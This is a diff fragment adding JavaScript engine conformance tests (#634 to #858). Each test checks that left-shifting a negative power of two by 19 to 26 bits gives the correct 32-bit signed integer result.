+if (-33554432 << 19 !== 0) {
+ $ERROR('#634: -33554432 << 19 === 0. Actual: ' + (-33554432 << 19));
+}
+
+
+if (-67108864 << 19 !== 0) {
+ $ERROR('#635: -67108864 << 19 === 0. Actual: ' + (-67108864 << 19));
+}
+
+
+if (-134217728 << 19 !== 0) {
+ $ERROR('#636: -134217728 << 19 === 0. Actual: ' + (-134217728 << 19));
+}
+
+
+if (-268435456 << 19 !== 0) {
+ $ERROR('#637: -268435456 << 19 === 0. Actual: ' + (-268435456 << 19));
+}
+
+
+if (-536870912 << 19 !== 0) {
+ $ERROR('#638: -536870912 << 19 === 0. Actual: ' + (-536870912 << 19));
+}
+
+
+if (-1073741824 << 19 !== 0) {
+ $ERROR('#639: -1073741824 << 19 === 0. Actual: ' + (-1073741824 << 19));
+}
+
+
+if (-2147483648 << 19 !== 0) {
+ $ERROR('#640: -2147483648 << 19 === 0. Actual: ' + (-2147483648 << 19));
+}
+
+
+if (-1 << 20 !== -1048576) {
+ $ERROR('#641: -1 << 20 === -1048576. Actual: ' + (-1 << 20));
+}
+
+
+if (-2 << 20 !== -2097152) {
+ $ERROR('#642: -2 << 20 === -2097152. Actual: ' + (-2 << 20));
+}
+
+
+if (-4 << 20 !== -4194304) {
+ $ERROR('#643: -4 << 20 === -4194304. Actual: ' + (-4 << 20));
+}
+
+
+if (-8 << 20 !== -8388608) {
+ $ERROR('#644: -8 << 20 === -8388608. Actual: ' + (-8 << 20));
+}
+
+
+if (-16 << 20 !== -16777216) {
+ $ERROR('#645: -16 << 20 === -16777216. Actual: ' + (-16 << 20));
+}
+
+
+if (-32 << 20 !== -33554432) {
+ $ERROR('#646: -32 << 20 === -33554432. Actual: ' + (-32 << 20));
+}
+
+
+if (-64 << 20 !== -67108864) {
+ $ERROR('#647: -64 << 20 === -67108864. Actual: ' + (-64 << 20));
+}
+
+
+if (-128 << 20 !== -134217728) {
+ $ERROR('#648: -128 << 20 === -134217728. Actual: ' + (-128 << 20));
+}
+
+
+if (-256 << 20 !== -268435456) {
+ $ERROR('#649: -256 << 20 === -268435456. Actual: ' + (-256 << 20));
+}
+
+
+if (-512 << 20 !== -536870912) {
+ $ERROR('#650: -512 << 20 === -536870912. Actual: ' + (-512 << 20));
+}
+
+
+if (-1024 << 20 !== -1073741824) {
+ $ERROR('#651: -1024 << 20 === -1073741824. Actual: ' + (-1024 << 20));
+}
+
+
+if (-2048 << 20 !== -2147483648) {
+ $ERROR('#652: -2048 << 20 === -2147483648. Actual: ' + (-2048 << 20));
+}
+
+
+if (-4096 << 20 !== 0) {
+ $ERROR('#653: -4096 << 20 === 0. Actual: ' + (-4096 << 20));
+}
+
+
+if (-8192 << 20 !== 0) {
+ $ERROR('#654: -8192 << 20 === 0. Actual: ' + (-8192 << 20));
+}
+
+
+if (-16384 << 20 !== 0) {
+ $ERROR('#655: -16384 << 20 === 0. Actual: ' + (-16384 << 20));
+}
+
+
+if (-32768 << 20 !== 0) {
+ $ERROR('#656: -32768 << 20 === 0. Actual: ' + (-32768 << 20));
+}
+
+
+if (-65536 << 20 !== 0) {
+ $ERROR('#657: -65536 << 20 === 0. Actual: ' + (-65536 << 20));
+}
+
+
+if (-131072 << 20 !== 0) {
+ $ERROR('#658: -131072 << 20 === 0. Actual: ' + (-131072 << 20));
+}
+
+
+if (-262144 << 20 !== 0) {
+ $ERROR('#659: -262144 << 20 === 0. Actual: ' + (-262144 << 20));
+}
+
+
+if (-524288 << 20 !== 0) {
+ $ERROR('#660: -524288 << 20 === 0. Actual: ' + (-524288 << 20));
+}
+
+
+if (-1048576 << 20 !== 0) {
+ $ERROR('#661: -1048576 << 20 === 0. Actual: ' + (-1048576 << 20));
+}
+
+
+if (-2097152 << 20 !== 0) {
+ $ERROR('#662: -2097152 << 20 === 0. Actual: ' + (-2097152 << 20));
+}
+
+
+if (-4194304 << 20 !== 0) {
+ $ERROR('#663: -4194304 << 20 === 0. Actual: ' + (-4194304 << 20));
+}
+
+
+if (-8388608 << 20 !== 0) {
+ $ERROR('#664: -8388608 << 20 === 0. Actual: ' + (-8388608 << 20));
+}
+
+
+if (-16777216 << 20 !== 0) {
+ $ERROR('#665: -16777216 << 20 === 0. Actual: ' + (-16777216 << 20));
+}
+
+
+if (-33554432 << 20 !== 0) {
+ $ERROR('#666: -33554432 << 20 === 0. Actual: ' + (-33554432 << 20));
+}
+
+
+if (-67108864 << 20 !== 0) {
+ $ERROR('#667: -67108864 << 20 === 0. Actual: ' + (-67108864 << 20));
+}
+
+
+if (-134217728 << 20 !== 0) {
+ $ERROR('#668: -134217728 << 20 === 0. Actual: ' + (-134217728 << 20));
+}
+
+
+if (-268435456 << 20 !== 0) {
+ $ERROR('#669: -268435456 << 20 === 0. Actual: ' + (-268435456 << 20));
+}
+
+
+if (-536870912 << 20 !== 0) {
+ $ERROR('#670: -536870912 << 20 === 0. Actual: ' + (-536870912 << 20));
+}
+
+
+if (-1073741824 << 20 !== 0) {
+ $ERROR('#671: -1073741824 << 20 === 0. Actual: ' + (-1073741824 << 20));
+}
+
+
+if (-2147483648 << 20 !== 0) {
+ $ERROR('#672: -2147483648 << 20 === 0. Actual: ' + (-2147483648 << 20));
+}
+
+
+if (-1 << 21 !== -2097152) {
+ $ERROR('#673: -1 << 21 === -2097152. Actual: ' + (-1 << 21));
+}
+
+
+if (-2 << 21 !== -4194304) {
+ $ERROR('#674: -2 << 21 === -4194304. Actual: ' + (-2 << 21));
+}
+
+
+if (-4 << 21 !== -8388608) {
+ $ERROR('#675: -4 << 21 === -8388608. Actual: ' + (-4 << 21));
+}
+
+
+if (-8 << 21 !== -16777216) {
+ $ERROR('#676: -8 << 21 === -16777216. Actual: ' + (-8 << 21));
+}
+
+
+if (-16 << 21 !== -33554432) {
+ $ERROR('#677: -16 << 21 === -33554432. Actual: ' + (-16 << 21));
+}
+
+
+if (-32 << 21 !== -67108864) {
+ $ERROR('#678: -32 << 21 === -67108864. Actual: ' + (-32 << 21));
+}
+
+
+if (-64 << 21 !== -134217728) {
+ $ERROR('#679: -64 << 21 === -134217728. Actual: ' + (-64 << 21));
+}
+
+
+if (-128 << 21 !== -268435456) {
+ $ERROR('#680: -128 << 21 === -268435456. Actual: ' + (-128 << 21));
+}
+
+
+if (-256 << 21 !== -536870912) {
+ $ERROR('#681: -256 << 21 === -536870912. Actual: ' + (-256 << 21));
+}
+
+
+if (-512 << 21 !== -1073741824) {
+ $ERROR('#682: -512 << 21 === -1073741824. Actual: ' + (-512 << 21));
+}
+
+
+if (-1024 << 21 !== -2147483648) {
+ $ERROR('#683: -1024 << 21 === -2147483648. Actual: ' + (-1024 << 21));
+}
+
+
+if (-2048 << 21 !== 0) {
+ $ERROR('#684: -2048 << 21 === 0. Actual: ' + (-2048 << 21));
+}
+
+
+if (-4096 << 21 !== 0) {
+ $ERROR('#685: -4096 << 21 === 0. Actual: ' + (-4096 << 21));
+}
+
+
+if (-8192 << 21 !== 0) {
+ $ERROR('#686: -8192 << 21 === 0. Actual: ' + (-8192 << 21));
+}
+
+
+if (-16384 << 21 !== 0) {
+ $ERROR('#687: -16384 << 21 === 0. Actual: ' + (-16384 << 21));
+}
+
+
+if (-32768 << 21 !== 0) {
+ $ERROR('#688: -32768 << 21 === 0. Actual: ' + (-32768 << 21));
+}
+
+
+if (-65536 << 21 !== 0) {
+ $ERROR('#689: -65536 << 21 === 0. Actual: ' + (-65536 << 21));
+}
+
+
+if (-131072 << 21 !== 0) {
+ $ERROR('#690: -131072 << 21 === 0. Actual: ' + (-131072 << 21));
+}
+
+
+if (-262144 << 21 !== 0) {
+ $ERROR('#691: -262144 << 21 === 0. Actual: ' + (-262144 << 21));
+}
+
+
+if (-524288 << 21 !== 0) {
+ $ERROR('#692: -524288 << 21 === 0. Actual: ' + (-524288 << 21));
+}
+
+
+if (-1048576 << 21 !== 0) {
+ $ERROR('#693: -1048576 << 21 === 0. Actual: ' + (-1048576 << 21));
+}
+
+
+if (-2097152 << 21 !== 0) {
+ $ERROR('#694: -2097152 << 21 === 0. Actual: ' + (-2097152 << 21));
+}
+
+
+if (-4194304 << 21 !== 0) {
+ $ERROR('#695: -4194304 << 21 === 0. Actual: ' + (-4194304 << 21));
+}
+
+
+if (-8388608 << 21 !== 0) {
+ $ERROR('#696: -8388608 << 21 === 0. Actual: ' + (-8388608 << 21));
+}
+
+
+if (-16777216 << 21 !== 0) {
+ $ERROR('#697: -16777216 << 21 === 0. Actual: ' + (-16777216 << 21));
+}
+
+
+if (-33554432 << 21 !== 0) {
+ $ERROR('#698: -33554432 << 21 === 0. Actual: ' + (-33554432 << 21));
+}
+
+
+if (-67108864 << 21 !== 0) {
+ $ERROR('#699: -67108864 << 21 === 0. Actual: ' + (-67108864 << 21));
+}
+
+
+if (-134217728 << 21 !== 0) {
+ $ERROR('#700: -134217728 << 21 === 0. Actual: ' + (-134217728 << 21));
+}
+
+
+if (-268435456 << 21 !== 0) {
+ $ERROR('#701: -268435456 << 21 === 0. Actual: ' + (-268435456 << 21));
+}
+
+
+if (-536870912 << 21 !== 0) {
+ $ERROR('#702: -536870912 << 21 === 0. Actual: ' + (-536870912 << 21));
+}
+
+
+if (-1073741824 << 21 !== 0) {
+ $ERROR('#703: -1073741824 << 21 === 0. Actual: ' + (-1073741824 << 21));
+}
+
+
+if (-2147483648 << 21 !== 0) {
+ $ERROR('#704: -2147483648 << 21 === 0. Actual: ' + (-2147483648 << 21));
+}
+
+
+if (-1 << 22 !== -4194304) {
+ $ERROR('#705: -1 << 22 === -4194304. Actual: ' + (-1 << 22));
+}
+
+
+if (-2 << 22 !== -8388608) {
+ $ERROR('#706: -2 << 22 === -8388608. Actual: ' + (-2 << 22));
+}
+
+
+if (-4 << 22 !== -16777216) {
+ $ERROR('#707: -4 << 22 === -16777216. Actual: ' + (-4 << 22));
+}
+
+
+if (-8 << 22 !== -33554432) {
+ $ERROR('#708: -8 << 22 === -33554432. Actual: ' + (-8 << 22));
+}
+
+
+if (-16 << 22 !== -67108864) {
+ $ERROR('#709: -16 << 22 === -67108864. Actual: ' + (-16 << 22));
+}
+
+
+if (-32 << 22 !== -134217728) {
+ $ERROR('#710: -32 << 22 === -134217728. Actual: ' + (-32 << 22));
+}
+
+
+if (-64 << 22 !== -268435456) {
+ $ERROR('#711: -64 << 22 === -268435456. Actual: ' + (-64 << 22));
+}
+
+
+if (-128 << 22 !== -536870912) {
+ $ERROR('#712: -128 << 22 === -536870912. Actual: ' + (-128 << 22));
+}
+
+
+if (-256 << 22 !== -1073741824) {
+ $ERROR('#713: -256 << 22 === -1073741824. Actual: ' + (-256 << 22));
+}
+
+
+if (-512 << 22 !== -2147483648) {
+ $ERROR('#714: -512 << 22 === -2147483648. Actual: ' + (-512 << 22));
+}
+
+
+if (-1024 << 22 !== 0) {
+ $ERROR('#715: -1024 << 22 === 0. Actual: ' + (-1024 << 22));
+}
+
+
+if (-2048 << 22 !== 0) {
+ $ERROR('#716: -2048 << 22 === 0. Actual: ' + (-2048 << 22));
+}
+
+
+if (-4096 << 22 !== 0) {
+ $ERROR('#717: -4096 << 22 === 0. Actual: ' + (-4096 << 22));
+}
+
+
+if (-8192 << 22 !== 0) {
+ $ERROR('#718: -8192 << 22 === 0. Actual: ' + (-8192 << 22));
+}
+
+
+if (-16384 << 22 !== 0) {
+ $ERROR('#719: -16384 << 22 === 0. Actual: ' + (-16384 << 22));
+}
+
+
+if (-32768 << 22 !== 0) {
+ $ERROR('#720: -32768 << 22 === 0. Actual: ' + (-32768 << 22));
+}
+
+
+if (-65536 << 22 !== 0) {
+ $ERROR('#721: -65536 << 22 === 0. Actual: ' + (-65536 << 22));
+}
+
+
+if (-131072 << 22 !== 0) {
+ $ERROR('#722: -131072 << 22 === 0. Actual: ' + (-131072 << 22));
+}
+
+
+if (-262144 << 22 !== 0) {
+ $ERROR('#723: -262144 << 22 === 0. Actual: ' + (-262144 << 22));
+}
+
+
+if (-524288 << 22 !== 0) {
+ $ERROR('#724: -524288 << 22 === 0. Actual: ' + (-524288 << 22));
+}
+
+
+if (-1048576 << 22 !== 0) {
+ $ERROR('#725: -1048576 << 22 === 0. Actual: ' + (-1048576 << 22));
+}
+
+
+if (-2097152 << 22 !== 0) {
+ $ERROR('#726: -2097152 << 22 === 0. Actual: ' + (-2097152 << 22));
+}
+
+
+if (-4194304 << 22 !== 0) {
+ $ERROR('#727: -4194304 << 22 === 0. Actual: ' + (-4194304 << 22));
+}
+
+
+if (-8388608 << 22 !== 0) {
+ $ERROR('#728: -8388608 << 22 === 0. Actual: ' + (-8388608 << 22));
+}
+
+
+if (-16777216 << 22 !== 0) {
+ $ERROR('#729: -16777216 << 22 === 0. Actual: ' + (-16777216 << 22));
+}
+
+
+if (-33554432 << 22 !== 0) {
+ $ERROR('#730: -33554432 << 22 === 0. Actual: ' + (-33554432 << 22));
+}
+
+
+if (-67108864 << 22 !== 0) {
+ $ERROR('#731: -67108864 << 22 === 0. Actual: ' + (-67108864 << 22));
+}
+
+
+if (-134217728 << 22 !== 0) {
+ $ERROR('#732: -134217728 << 22 === 0. Actual: ' + (-134217728 << 22));
+}
+
+
+if (-268435456 << 22 !== 0) {
+ $ERROR('#733: -268435456 << 22 === 0. Actual: ' + (-268435456 << 22));
+}
+
+
+if (-536870912 << 22 !== 0) {
+ $ERROR('#734: -536870912 << 22 === 0. Actual: ' + (-536870912 << 22));
+}
+
+
+if (-1073741824 << 22 !== 0) {
+ $ERROR('#735: -1073741824 << 22 === 0. Actual: ' + (-1073741824 << 22));
+}
+
+
+if (-2147483648 << 22 !== 0) {
+ $ERROR('#736: -2147483648 << 22 === 0. Actual: ' + (-2147483648 << 22));
+}
+
+
+if (-1 << 23 !== -8388608) {
+ $ERROR('#737: -1 << 23 === -8388608. Actual: ' + (-1 << 23));
+}
+
+
+if (-2 << 23 !== -16777216) {
+ $ERROR('#738: -2 << 23 === -16777216. Actual: ' + (-2 << 23));
+}
+
+
+if (-4 << 23 !== -33554432) {
+ $ERROR('#739: -4 << 23 === -33554432. Actual: ' + (-4 << 23));
+}
+
+
+if (-8 << 23 !== -67108864) {
+ $ERROR('#740: -8 << 23 === -67108864. Actual: ' + (-8 << 23));
+}
+
+
+if (-16 << 23 !== -134217728) {
+ $ERROR('#741: -16 << 23 === -134217728. Actual: ' + (-16 << 23));
+}
+
+
+if (-32 << 23 !== -268435456) {
+ $ERROR('#742: -32 << 23 === -268435456. Actual: ' + (-32 << 23));
+}
+
+
+if (-64 << 23 !== -536870912) {
+ $ERROR('#743: -64 << 23 === -536870912. Actual: ' + (-64 << 23));
+}
+
+
+if (-128 << 23 !== -1073741824) {
+ $ERROR('#744: -128 << 23 === -1073741824. Actual: ' + (-128 << 23));
+}
+
+
+if (-256 << 23 !== -2147483648) {
+ $ERROR('#745: -256 << 23 === -2147483648. Actual: ' + (-256 << 23));
+}
+
+
+if (-512 << 23 !== 0) {
+ $ERROR('#746: -512 << 23 === 0. Actual: ' + (-512 << 23));
+}
+
+
+if (-1024 << 23 !== 0) {
+ $ERROR('#747: -1024 << 23 === 0. Actual: ' + (-1024 << 23));
+}
+
+
+if (-2048 << 23 !== 0) {
+ $ERROR('#748: -2048 << 23 === 0. Actual: ' + (-2048 << 23));
+}
+
+
+if (-4096 << 23 !== 0) {
+ $ERROR('#749: -4096 << 23 === 0. Actual: ' + (-4096 << 23));
+}
+
+
+if (-8192 << 23 !== 0) {
+ $ERROR('#750: -8192 << 23 === 0. Actual: ' + (-8192 << 23));
+}
+
+
+if (-16384 << 23 !== 0) {
+ $ERROR('#751: -16384 << 23 === 0. Actual: ' + (-16384 << 23));
+}
+
+
+if (-32768 << 23 !== 0) {
+ $ERROR('#752: -32768 << 23 === 0. Actual: ' + (-32768 << 23));
+}
+
+
+if (-65536 << 23 !== 0) {
+ $ERROR('#753: -65536 << 23 === 0. Actual: ' + (-65536 << 23));
+}
+
+
+if (-131072 << 23 !== 0) {
+ $ERROR('#754: -131072 << 23 === 0. Actual: ' + (-131072 << 23));
+}
+
+
+if (-262144 << 23 !== 0) {
+ $ERROR('#755: -262144 << 23 === 0. Actual: ' + (-262144 << 23));
+}
+
+
+if (-524288 << 23 !== 0) {
+ $ERROR('#756: -524288 << 23 === 0. Actual: ' + (-524288 << 23));
+}
+
+
+if (-1048576 << 23 !== 0) {
+ $ERROR('#757: -1048576 << 23 === 0. Actual: ' + (-1048576 << 23));
+}
+
+
+if (-2097152 << 23 !== 0) {
+ $ERROR('#758: -2097152 << 23 === 0. Actual: ' + (-2097152 << 23));
+}
+
+
+if (-4194304 << 23 !== 0) {
+ $ERROR('#759: -4194304 << 23 === 0. Actual: ' + (-4194304 << 23));
+}
+
+
+if (-8388608 << 23 !== 0) {
+ $ERROR('#760: -8388608 << 23 === 0. Actual: ' + (-8388608 << 23));
+}
+
+
+if (-16777216 << 23 !== 0) {
+ $ERROR('#761: -16777216 << 23 === 0. Actual: ' + (-16777216 << 23));
+}
+
+
+if (-33554432 << 23 !== 0) {
+ $ERROR('#762: -33554432 << 23 === 0. Actual: ' + (-33554432 << 23));
+}
+
+
+if (-67108864 << 23 !== 0) {
+ $ERROR('#763: -67108864 << 23 === 0. Actual: ' + (-67108864 << 23));
+}
+
+
+if (-134217728 << 23 !== 0) {
+ $ERROR('#764: -134217728 << 23 === 0. Actual: ' + (-134217728 << 23));
+}
+
+
+if (-268435456 << 23 !== 0) {
+ $ERROR('#765: -268435456 << 23 === 0. Actual: ' + (-268435456 << 23));
+}
+
+
+if (-536870912 << 23 !== 0) {
+ $ERROR('#766: -536870912 << 23 === 0. Actual: ' + (-536870912 << 23));
+}
+
+
+if (-1073741824 << 23 !== 0) {
+ $ERROR('#767: -1073741824 << 23 === 0. Actual: ' + (-1073741824 << 23));
+}
+
+
+if (-2147483648 << 23 !== 0) {
+ $ERROR('#768: -2147483648 << 23 === 0. Actual: ' + (-2147483648 << 23));
+}
+
+
+if (-1 << 24 !== -16777216) {
+ $ERROR('#769: -1 << 24 === -16777216. Actual: ' + (-1 << 24));
+}
+
+
+if (-2 << 24 !== -33554432) {
+ $ERROR('#770: -2 << 24 === -33554432. Actual: ' + (-2 << 24));
+}
+
+
+if (-4 << 24 !== -67108864) {
+ $ERROR('#771: -4 << 24 === -67108864. Actual: ' + (-4 << 24));
+}
+
+
+if (-8 << 24 !== -134217728) {
+ $ERROR('#772: -8 << 24 === -134217728. Actual: ' + (-8 << 24));
+}
+
+
+if (-16 << 24 !== -268435456) {
+ $ERROR('#773: -16 << 24 === -268435456. Actual: ' + (-16 << 24));
+}
+
+
+if (-32 << 24 !== -536870912) {
+ $ERROR('#774: -32 << 24 === -536870912. Actual: ' + (-32 << 24));
+}
+
+
+if (-64 << 24 !== -1073741824) {
+ $ERROR('#775: -64 << 24 === -1073741824. Actual: ' + (-64 << 24));
+}
+
+
+if (-128 << 24 !== -2147483648) {
+ $ERROR('#776: -128 << 24 === -2147483648. Actual: ' + (-128 << 24));
+}
+
+
+if (-256 << 24 !== 0) {
+ $ERROR('#777: -256 << 24 === 0. Actual: ' + (-256 << 24));
+}
+
+
+if (-512 << 24 !== 0) {
+ $ERROR('#778: -512 << 24 === 0. Actual: ' + (-512 << 24));
+}
+
+
+if (-1024 << 24 !== 0) {
+ $ERROR('#779: -1024 << 24 === 0. Actual: ' + (-1024 << 24));
+}
+
+
+if (-2048 << 24 !== 0) {
+ $ERROR('#780: -2048 << 24 === 0. Actual: ' + (-2048 << 24));
+}
+
+
+if (-4096 << 24 !== 0) {
+ $ERROR('#781: -4096 << 24 === 0. Actual: ' + (-4096 << 24));
+}
+
+
+if (-8192 << 24 !== 0) {
+ $ERROR('#782: -8192 << 24 === 0. Actual: ' + (-8192 << 24));
+}
+
+
+if (-16384 << 24 !== 0) {
+ $ERROR('#783: -16384 << 24 === 0. Actual: ' + (-16384 << 24));
+}
+
+
+if (-32768 << 24 !== 0) {
+ $ERROR('#784: -32768 << 24 === 0. Actual: ' + (-32768 << 24));
+}
+
+
+if (-65536 << 24 !== 0) {
+ $ERROR('#785: -65536 << 24 === 0. Actual: ' + (-65536 << 24));
+}
+
+
+if (-131072 << 24 !== 0) {
+ $ERROR('#786: -131072 << 24 === 0. Actual: ' + (-131072 << 24));
+}
+
+
+if (-262144 << 24 !== 0) {
+ $ERROR('#787: -262144 << 24 === 0. Actual: ' + (-262144 << 24));
+}
+
+
+if (-524288 << 24 !== 0) {
+ $ERROR('#788: -524288 << 24 === 0. Actual: ' + (-524288 << 24));
+}
+
+
+if (-1048576 << 24 !== 0) {
+ $ERROR('#789: -1048576 << 24 === 0. Actual: ' + (-1048576 << 24));
+}
+
+
+if (-2097152 << 24 !== 0) {
+ $ERROR('#790: -2097152 << 24 === 0. Actual: ' + (-2097152 << 24));
+}
+
+
+if (-4194304 << 24 !== 0) {
+ $ERROR('#791: -4194304 << 24 === 0. Actual: ' + (-4194304 << 24));
+}
+
+
+if (-8388608 << 24 !== 0) {
+ $ERROR('#792: -8388608 << 24 === 0. Actual: ' + (-8388608 << 24));
+}
+
+
+if (-16777216 << 24 !== 0) {
+ $ERROR('#793: -16777216 << 24 === 0. Actual: ' + (-16777216 << 24));
+}
+
+
+if (-33554432 << 24 !== 0) {
+ $ERROR('#794: -33554432 << 24 === 0. Actual: ' + (-33554432 << 24));
+}
+
+
+if (-67108864 << 24 !== 0) {
+ $ERROR('#795: -67108864 << 24 === 0. Actual: ' + (-67108864 << 24));
+}
+
+
+if (-134217728 << 24 !== 0) {
+ $ERROR('#796: -134217728 << 24 === 0. Actual: ' + (-134217728 << 24));
+}
+
+
+if (-268435456 << 24 !== 0) {
+ $ERROR('#797: -268435456 << 24 === 0. Actual: ' + (-268435456 << 24));
+}
+
+
+if (-536870912 << 24 !== 0) {
+ $ERROR('#798: -536870912 << 24 === 0. Actual: ' + (-536870912 << 24));
+}
+
+
+if (-1073741824 << 24 !== 0) {
+ $ERROR('#799: -1073741824 << 24 === 0. Actual: ' + (-1073741824 << 24));
+}
+
+
+if (-2147483648 << 24 !== 0) {
+ $ERROR('#800: -2147483648 << 24 === 0. Actual: ' + (-2147483648 << 24));
+}
+
+
+if (-1 << 25 !== -33554432) {
+ $ERROR('#801: -1 << 25 === -33554432. Actual: ' + (-1 << 25));
+}
+
+
+if (-2 << 25 !== -67108864) {
+ $ERROR('#802: -2 << 25 === -67108864. Actual: ' + (-2 << 25));
+}
+
+
+if (-4 << 25 !== -134217728) {
+ $ERROR('#803: -4 << 25 === -134217728. Actual: ' + (-4 << 25));
+}
+
+
+if (-8 << 25 !== -268435456) {
+ $ERROR('#804: -8 << 25 === -268435456. Actual: ' + (-8 << 25));
+}
+
+
+if (-16 << 25 !== -536870912) {
+ $ERROR('#805: -16 << 25 === -536870912. Actual: ' + (-16 << 25));
+}
+
+
+if (-32 << 25 !== -1073741824) {
+ $ERROR('#806: -32 << 25 === -1073741824. Actual: ' + (-32 << 25));
+}
+
+
+if (-64 << 25 !== -2147483648) {
+ $ERROR('#807: -64 << 25 === -2147483648. Actual: ' + (-64 << 25));
+}
+
+
+if (-128 << 25 !== 0) {
+ $ERROR('#808: -128 << 25 === 0. Actual: ' + (-128 << 25));
+}
+
+
+if (-256 << 25 !== 0) {
+ $ERROR('#809: -256 << 25 === 0. Actual: ' + (-256 << 25));
+}
+
+
+if (-512 << 25 !== 0) {
+ $ERROR('#810: -512 << 25 === 0. Actual: ' + (-512 << 25));
+}
+
+
+if (-1024 << 25 !== 0) {
+ $ERROR('#811: -1024 << 25 === 0. Actual: ' + (-1024 << 25));
+}
+
+
+if (-2048 << 25 !== 0) {
+ $ERROR('#812: -2048 << 25 === 0. Actual: ' + (-2048 << 25));
+}
+
+
+if (-4096 << 25 !== 0) {
+ $ERROR('#813: -4096 << 25 === 0. Actual: ' + (-4096 << 25));
+}
+
+
+if (-8192 << 25 !== 0) {
+ $ERROR('#814: -8192 << 25 === 0. Actual: ' + (-8192 << 25));
+}
+
+
+if (-16384 << 25 !== 0) {
+ $ERROR('#815: -16384 << 25 === 0. Actual: ' + (-16384 << 25));
+}
+
+
+if (-32768 << 25 !== 0) {
+ $ERROR('#816: -32768 << 25 === 0. Actual: ' + (-32768 << 25));
+}
+
+
+if (-65536 << 25 !== 0) {
+ $ERROR('#817: -65536 << 25 === 0. Actual: ' + (-65536 << 25));
+}
+
+
+if (-131072 << 25 !== 0) {
+ $ERROR('#818: -131072 << 25 === 0. Actual: ' + (-131072 << 25));
+}
+
+
+if (-262144 << 25 !== 0) {
+ $ERROR('#819: -262144 << 25 === 0. Actual: ' + (-262144 << 25));
+}
+
+
+if (-524288 << 25 !== 0) {
+ $ERROR('#820: -524288 << 25 === 0. Actual: ' + (-524288 << 25));
+}
+
+
+if (-1048576 << 25 !== 0) {
+ $ERROR('#821: -1048576 << 25 === 0. Actual: ' + (-1048576 << 25));
+}
+
+
+if (-2097152 << 25 !== 0) {
+ $ERROR('#822: -2097152 << 25 === 0. Actual: ' + (-2097152 << 25));
+}
+
+
+if (-4194304 << 25 !== 0) {
+ $ERROR('#823: -4194304 << 25 === 0. Actual: ' + (-4194304 << 25));
+}
+
+
+if (-8388608 << 25 !== 0) {
+ $ERROR('#824: -8388608 << 25 === 0. Actual: ' + (-8388608 << 25));
+}
+
+
+if (-16777216 << 25 !== 0) {
+ $ERROR('#825: -16777216 << 25 === 0. Actual: ' + (-16777216 << 25));
+}
+
+
+if (-33554432 << 25 !== 0) {
+ $ERROR('#826: -33554432 << 25 === 0. Actual: ' + (-33554432 << 25));
+}
+
+
+if (-67108864 << 25 !== 0) {
+ $ERROR('#827: -67108864 << 25 === 0. Actual: ' + (-67108864 << 25));
+}
+
+
+if (-134217728 << 25 !== 0) {
+ $ERROR('#828: -134217728 << 25 === 0. Actual: ' + (-134217728 << 25));
+}
+
+
+if (-268435456 << 25 !== 0) {
+ $ERROR('#829: -268435456 << 25 === 0. Actual: ' + (-268435456 << 25));
+}
+
+
+if (-536870912 << 25 !== 0) {
+ $ERROR('#830: -536870912 << 25 === 0. Actual: ' + (-536870912 << 25));
+}
+
+
+if (-1073741824 << 25 !== 0) {
+ $ERROR('#831: -1073741824 << 25 === 0. Actual: ' + (-1073741824 << 25));
+}
+
+
+if (-2147483648 << 25 !== 0) {
+ $ERROR('#832: -2147483648 << 25 === 0. Actual: ' + (-2147483648 << 25));
+}
+
+
+if (-1 << 26 !== -67108864) {
+ $ERROR('#833: -1 << 26 === -67108864. Actual: ' + (-1 << 26));
+}
+
+
+if (-2 << 26 !== -134217728) {
+ $ERROR('#834: -2 << 26 === -134217728. Actual: ' + (-2 << 26));
+}
+
+
+if (-4 << 26 !== -268435456) {
+ $ERROR('#835: -4 << 26 === -268435456. Actual: ' + (-4 << 26));
+}
+
+
+if (-8 << 26 !== -536870912) {
+ $ERROR('#836: -8 << 26 === -536870912. Actual: ' + (-8 << 26));
+}
+
+
+if (-16 << 26 !== -1073741824) {
+ $ERROR('#837: -16 << 26 === -1073741824. Actual: ' + (-16 << 26));
+}
+
+
+if (-32 << 26 !== -2147483648) {
+ $ERROR('#838: -32 << 26 === -2147483648. Actual: ' + (-32 << 26));
+}
+
+
+if (-64 << 26 !== 0) {
+ $ERROR('#839: -64 << 26 === 0. Actual: ' + (-64 << 26));
+}
+
+
+if (-128 << 26 !== 0) {
+ $ERROR('#840: -128 << 26 === 0. Actual: ' + (-128 << 26));
+}
+
+
+if (-256 << 26 !== 0) {
+ $ERROR('#841: -256 << 26 === 0. Actual: ' + (-256 << 26));
+}
+
+
+if (-512 << 26 !== 0) {
+ $ERROR('#842: -512 << 26 === 0. Actual: ' + (-512 << 26));
+}
+
+
+if (-1024 << 26 !== 0) {
+ $ERROR('#843: -1024 << 26 === 0. Actual: ' + (-1024 << 26));
+}
+
+
+if (-2048 << 26 !== 0) {
+ $ERROR('#844: -2048 << 26 === 0. Actual: ' + (-2048 << 26));
+}
+
+
+if (-4096 << 26 !== 0) {
+ $ERROR('#845: -4096 << 26 === 0. Actual: ' + (-4096 << 26));
+}
+
+
+if (-8192 << 26 !== 0) {
+ $ERROR('#846: -8192 << 26 === 0. Actual: ' + (-8192 << 26));
+}
+
+
+if (-16384 << 26 !== 0) {
+ $ERROR('#847: -16384 << 26 === 0. Actual: ' + (-16384 << 26));
+}
+
+
+if (-32768 << 26 !== 0) {
+ $ERROR('#848: -32768 << 26 === 0. Actual: ' + (-32768 << 26));
+}
+
+
+if (-65536 << 26 !== 0) {
+ $ERROR('#849: -65536 << 26 === 0. Actual: ' + (-65536 << 26));
+}
+
+
+if (-131072 << 26 !== 0) {
+ $ERROR('#850: -131072 << 26 === 0. Actual: ' + (-131072 << 26));
+}
+
+
+if (-262144 << 26 !== 0) {
+ $ERROR('#851: -262144 << 26 === 0. Actual: ' + (-262144 << 26));
+}
+
+
+if (-524288 << 26 !== 0) {
+ $ERROR('#852: -524288 << 26 === 0. Actual: ' + (-524288 << 26));
+}
+
+
+if (-1048576 << 26 !== 0) {
+ $ERROR('#853: -1048576 << 26 === 0. Actual: ' + (-1048576 << 26));
+}
+
+
+if (-2097152 << 26 !== 0) {
+ $ERROR('#854: -2097152 << 26 === 0. Actual: ' + (-2097152 << 26));
+}
+
+
+if (-4194304 << 26 !== 0) {
+ $ERROR('#855: -4194304 << 26 === 0. Actual: ' + (-4194304 << 26));
+}
+
+
+if (-8388608 << 26 !== 0) {
+ $ERROR('#856: -8388608 << 26 === 0. Actual: ' + (-8388608 << 26));
+}
+
+
+if (-16777216 << 26 !== 0) {
+ $ERROR('#857: -16777216 << 26 === 0. Actual: ' + (-16777216 << 26));
+}
+
+
+if (-33554432 << 26 !== 0) {
+ $ERROR('#858: -33554432 << 26 === 0. Actual: ' + (-33554432 << 26));
+}
+
+
